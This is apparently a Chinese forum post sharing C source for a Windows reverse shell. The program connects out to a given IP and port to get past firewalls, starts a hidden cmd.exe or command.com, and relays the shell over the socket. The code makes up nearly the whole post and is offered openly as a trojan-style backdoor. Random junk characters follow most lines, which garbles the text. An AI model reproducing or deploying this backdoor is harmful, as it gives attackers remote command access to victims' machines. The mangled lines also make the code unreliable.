这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 alB[/.1
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/* ============================== }&I^1BHZs
Rebound port in Windows NT yu>DVD
By wind,2006/7 ~ d!F|BH4
===============================*/ (&y~\t]H
#include ]IZn#gnM
#include ',<Bo{
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#pragma comment(lib,"wsock32.lib") ?-g/hXx;
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void OutputShell(); 4?3*%_bDJ,
SOCKET sClient; 2G9sKg,kL
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; W@(EEMhw
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void main(int argc,char **argv) &&\HE7*
{ y>DvD)
WSADATA stWsaData; 'Lb-+X,
int nRet; ">LX>uYmX-
SOCKADDR_IN stSaiClient,stSaiServer; 1aQR9zg%
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if(argc != 3) cJ>
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{ ;[ag|YU$Y
printf("Useage:\n\rRebound DestIP DestPort\n"); cGVIO"(VP
return; j$TTLFK1
} 9]DMHA@
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WSAStartup(MAKEWORD(2,2),&stWsaData); yK #9)W-
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :@H&v%h(u
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stSaiClient.sin_family = AF_INET; et$VR:
stSaiClient.sin_port = htons(0); 9ne13qVm+
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); /I>o6 CI
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ('u\rc2R
{ {d%% nK~
printf("Bind Socket Failed!\n"); H(~:Ajj+zQ
return; ?^<
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} j
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stSaiServer.sin_family = AF_INET; \UF/_'=K
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2{sx"/k\A
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^=lh|C\#
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %FDv6peH
{ N`JkEd7TT
printf("Connect Error!"); %%dQIlF
return; aU)NbESu
} ?C[W~m P
OutputShell(); *88Q6=Mm
} aB N^J_
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void OutputShell() 8?>
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{ %rmn+L),;
char szBuff[1024]; \.`;p
SECURITY_ATTRIBUTES stSecurityAttributes; Pr%Y!|
OSVERSIONINFO stOsversionInfo; K9*vWoP'
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^4\hZ
STARTUPINFO stStartupInfo; 8-2e4^
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char *szShell; yyj?hR@rZ
PROCESS_INFORMATION stProcessInformation; 41S.&-u
unsigned long lBytesRead; {7%W/C#A
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); srh>"
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); sr=~Uq{g
stSecurityAttributes.lpSecurityDescriptor = 0; FKX+
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stSecurityAttributes.bInheritHandle = TRUE; %l#i9$s
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); j0XS12eM
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Y2j>@
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 'K L"i
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V?.')?'V
stStartupInfo.wShowWindow = SW_HIDE; =41g9UQ
stStartupInfo.hStdInput = hReadPipe; UcHe"mn
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Cm~Pn"K_]
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GetVersionEx(&stOsversionInfo); 2+2Gl7" s
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switch(stOsversionInfo.dwPlatformId) zXop@"(e
{ w=ib@_:f
case 1: *Va ;ra(V2
szShell = "command.com"; =Ts3O0"[
break;
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default: *WHQ1geI8
szShell = "cmd.exe"; V+A9.KoI
break; G<2OL#Y-
} S[2uez`
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9ff6Apill
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send(sClient,szMsg,77,0); pn:) Rq0
while(1) X{ZcJ8K
{ Z8 X=Md8=
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ;V=Y#|o
if(lBytesRead) bc?\lD$$
{ {Tps3{|wt
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); J|uxn<E<>
send(sClient,szBuff,lBytesRead,0); 5a`f%
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} hnk,U:7}
else LXZ0up-B-
{ :"vW;$1
}
lBytesRead=recv(sClient,szBuff,1024,0); Cggu#//Z}Q
if(lBytesRead<=0) break; Ap:mc:
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); wb#ZRmx}
} e2~$=f-
} bvxol\7 ;
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return; ,EE,W0/zzM
}